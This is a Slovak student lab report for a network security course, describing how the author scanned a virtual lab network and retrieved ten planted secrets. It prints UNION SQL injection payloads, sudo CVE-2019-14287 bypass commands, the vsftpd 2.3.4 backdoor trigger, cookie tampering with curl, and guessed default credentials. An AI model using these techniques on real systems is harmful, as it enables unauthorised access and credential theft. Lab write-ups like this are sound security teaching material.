BIS - Projekt

Anton Firc (xfirca00)

29. novembra 2019

1 Úvod

Cieľom projektu je prehľadať vnútornú sieť BIS a vo vymedzenom čase získať čo najviac tajomstiev ukrytých na privátnych serveroch.

2 Mapovanie siete

Po prihlásení do prideleného východzieho bodu siete som získal zoznam susedov pomocou príkazu `arp -a`, následne som si zobrazil len stanice bez názvu (neobsahujúce študentský login). Získal som 12 IP adries ktoré som ďalej analyzoval pomocou nástroja `nmap` a prepínaču `-p-` ktorý zobrazí všetky aktívne porty stanice na zadanej IP adrese.

Zoznam nájdených staníc spolu s informáciami o otvorených portoch:

```
Nmap scan report for 192.168.122.155
Host is up (0.00026s latency).
Not shown: 65533 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind
MAC Address: 52:54:00:49:02:85 (QEMU Virtual NIC)

Nmap scan report for 192.168.122.215
Host is up (0.00022s latency).
Not shown: 65533 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind
MAC Address: 52:54:00:49:52:E4 (QEMU Virtual NIC)

Nmap scan report for 192.168.122.227
Host is up (0.00024s latency).
Not shown: 65533 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind
MAC Address: 52:54:00:8E:17:1B (QEMU Virtual NIC)

Nmap scan report for 192.168.122.38
Host is up (0.00030s latency).
Not shown: 55532 filtered ports, 10000 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
```

```
80/tcp open  http
MAC Address: 52:54:00:07:85:00 (QEMU Virtual NIC)

Nmap scan report for 192.168.122.83
Host is up (0.00024s latency).
Not shown: 65533 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind
MAC Address: 52:54:00:C2:A1:60 (QEMU Virtual NIC)

Nmap scan report for 192.168.122.105
Host is up (0.00025s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
3306/tcp open  mysql
MAC Address: 52:54:00:AD:2F:85 (QEMU Virtual NIC)

Nmap scan report for 192.168.122.42
Host is up (0.00023s latency).
Not shown: 65533 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind
MAC Address: 52:54:00:C0:29:C0 (QEMU Virtual NIC)

Nmap scan report for 192.168.122.220
Host is up (0.00066s latency).
Not shown: 65532 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
23/tcp open  telnet
80/tcp open  http
MAC Address: 52:54:00:27:58:18 (QEMU Virtual NIC)

Nmap scan report for 192.168.122.206
Host is up (0.00025s latency).
Not shown: 65533 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind
MAC Address: 52:54:00:EC:02:F7 (QEMU Virtual NIC)

Nmap scan report for 192.168.122.150
Host is up (0.00023s latency).
Not shown: 65533 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind
MAC Address: 52:54:00:71:10:A5 (QEMU Virtual NIC)

Nmap scan report for 192.168.122.169
Host is up (0.00038s latency).
```

```
Not shown: 65531 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
42424/tcp open  unknown
MAC Address: 52:54:00:5A:B6:76 (QEMU Virtual NIC)

Nmap scan report for 192.168.122.77
Host is up (0.00027s latency).
Not shown: 65533 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind
MAC Address: 52:54:00:D4:0D:75 (QEMU Virtual NIC)
```

3 Tajomstvo A

Nmap ukazuje na 192.168.122.38 otvorený port 80. Pokúšam sa pripojiť pomocou prehliadača elinks. Dostávam sa na stránku obsahujúcu zoznam asi zamestnancov nejakej firmy. Má možnosť osobu pridať, alebo filtrovať osoby. Osoby by mohli byť nahrávané z databázy, takže skúšam či by bolo možné použiť SQL Injection útok. Do poľa pre vyhľadávanie vložím "OR 1=1" a dostávam chybovú hlášku o nesprávnej SQL syntaxi, čo značí, že bude útok uskutočniteľný. Použitím UNION útoku si najprv vypíšem zoznam všetkých tabuliek v databáze:

```
" UNION SELECT table_name as name, 0 as id, "" as email, "" as address FROM information_schema.tables
WHERE "name" LIKE "
```

Zaujala ma tabuľka s názvom `auth`, ktorá by podľa názvu mohla obsahovať prihlasovacie údaje, takže som si následne vypísal názvy stĺpcov v tabuľkách:

```
" UNION SELECT table_name as name, 0 as id, column_name as email, "" as address FROM information_schema
WHERE "name" LIKE "
```

Zisťujem, že tabuľka `auth` obsahuje stĺpce s názvami `id`, `login` a `passwd` takže si zobrazím ich obsah:

```
" UNION SELECT login as name, id as id, passwd as email, "" as address FROM auth WHERE "name"
LIKE "
```

Po preštudovaní obsahu tabuľky `auth`, získavam v stĺpci `passwd` tajomstvo A.

4 Tajomstvo B

Nmap ukazuje na 192.168.122.169 otvorený port 42424, príkazom `nmap -A 192.168.122.169 -p 42424` zisťujem aká služba beží na tomto porte:

```
Nmap scan report for 192.168.122.169
Host is up (0.00071s latency).
PORT      STATE SERVICE VERSION
42424/tcp open  ftp     vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 0        0               6 Oct 30  2018 pub
|_-rw-r--r--    1 0        0             105 Nov 29 14:18 secret.txt
MAC Address: 52:54:00:5A:B6:76 (QEMU Virtual NIC)
```

Zisťujem, že sa jedná o službu FTP podporujúcu anonymous login[1] a dokonca zoznam súborov uložených

[1] http://www.networksolutions.com/support/what-is-anonymous-ftp-and-how-to-use-it/

v koreňovom adresári. Pripájam sa teda použitím prihlasovacieho mena "anonymous" a po otvorení súboru `secret.txt` získavam tajomstvo B.

5 Tajomstvo C

Podľa nástroja nmap beží na 192.168.122.169 HTTTP server na porte 80. Pokúšam sa prehliadať stránky pomocou prehliadača elinks. Domovská stránka obsahuje výpis súborovej štruktúry, pri prehliadaní všetkých dostupných adresárov a súborov narazím na súbor `sql.conf` kde nachádzam tajomstvo C.

6 Tajomstvo D

Po pripojení na východzí bod si zobrazím všetky súbory použitím príkazu `ls -la`. Pri prehľadávaní súboru `.bash_history` zisťujem, že bol použitý príkaz `ssh smith@192.168.122.220`. Znovu-použitím tohoto príkazu sa dostávam na 192.168.122.220 ako užívateľ smith. Tu nachádzam súbory `agg` a `agg2`. Pomocou príkazu `file` zisťujem, že tieto súbory obsahujú záznamy tcp tokov. Analýzou týchto súborov zisťujem, že došlo k pripojeniu k tomuto serveru pomocou protokolu telnet a prihlasovacích údajov ada / nachystejteuzenace. Po pripojení nachádzam v užívateľskom adresári súbor `secret.txt` obsahujúci tajomstvo D.

7 Tajomstvo E

Nmap ukazuje na 192.168.122.220 spustený HTTP server na porte 80. Pripájam sa pomocou prehliadača elinks a zisťujem, že sa jedná o stránku s prihlasovaním. Pokúšam sa teda pomocou nástroja `curl` získať HTML dokument, ktorý by mohol obsahovať nápovedu kde hľadať prihlasovacie údaje. V hlavičke HTTP odpovede nachádzam použitie cookie `LOGGED_IN=False`. Skúšam nastaviť cookie na `LOGGED_IN=True` a získať znovu HTML dokoment pomocou:

```
curl --cookie LOGGED\_IN=True 192.168.122.220:80
```

V odpovedi dostávam tajomstvo E.

8 Tajomstvo F

Pri pokuse o pripojenie na 192.168.122.227 pomocou protokolu ssh, sa ako správa dňa zobrazí "...use teacher login...". Skúšam sa teda pripojiť ako používateľ teacher, a ako heslo skúšam zadať tiež teacher. Podarilo sa mi prihlásiť, na prvý pohľad nenachádzam nič zaujímavé takže sa pokúšam vyhľadať všetky súbory obsahujúce "secret" v názve pomocou príkazu `sudo ls /* | grep "secret"`. Zisťujem, že ako užívateľ teacher môžem použiť príkaz `sudo` ale nie ako `root`. Skúšam použiť sudo exploit[2]. Pomocou príkazu `sudo -u#-1 ls /* | grep "secret"` sa dozvedám o súbore `secret.txt` a pomocou príkazu `sudo -u-1 find / -name "secret.txt"` zisťujem, že sa nachádza v `/root`. Jeho obsah zobrazím pomocou `sudo -u#-1 cat /root/secret.txt` a tak získavam tajomstvo F.

9 Tajomstvo G

Nmap ukazuje na 192.168.122.38 otvorený port 21 ktorý odpovedá službe FTP. Pri pokuse o pripojenie zisťujem, že sa jedná o verziu `vsFTPd 2.3.4`. Táto verzia poskytuje backdoor pri použití užívateľského mena končiaceho na ":)"[3]. Po zadaní používateľského mena "asdf:)" sa mi zobrazila notifikácia o otvorení portu 51080, po pripojení protokolom FTP na tento port dostávam tajomstvo G.

[2] https://resources.whitesourcesoftware.com/blog-whitesource/new-vulnerability-in-sudo-cve-2019-14287
[3] https://sweshsec.wordpress.com/2015/07/31/vsftpd-vulnerability-exploitation-with-manual-approach/

10 Tajomstvo H

Vzhľadom na to, že už viac tajomstiev sa nachádzalo v súboroch obsahujúcich reťazec "secret" v názve skúšam hľadať aj na 192.168.122.220 prihlásený ako užívateľ "smith". Príkazom `find /* | grep "secret"` zisťujem, že existuje súbor "show-secret". Príkazom `find / -name "show-secret"` zisťujem, že sa súbor nachádza v `/usr/bin` a ešte zisťujem, že sa jedá o spustiteľný súbor. Po spustení tohoto súboru získavam tajomstvo H.

11 Tajomstvo I

Nmap ukazuje na 192.168.122.105 otvorený port 80. Skúšam sa pripojiť pomocou prehliadača elinks. Domovská stránka obsahuje presmerovanie na `/www`. 192.168.122.105/www vracia chybovú hlášku 500, a informuje, že `tracy` nedokáže zaznamenať chybu. To znamená, že je použitý PHP framework Nette. Nette ukladá konfiguračné súbory do `/app/config`, z ktorých by bolo možné získať prístupy k databáze, pokúšam sa teda dostať na 192.168.122.105/app/config kde nachádzam súbory `common.neon` a `local.neon`. Po otvorení súboru `local.neon` dostávam tajomstvo I.

12 Tajomstvo J

Na 192.168.122.77 je spustená ssh služba. Napadlo mi vyskúšať najpoužívanejšie loginy, fungovalo prihlasovacie meno `root` s heslom `root`. V koreňovom adresári serveru som potom našiel súbor `secret.txt` ktorý obsahoval tajomstvo J.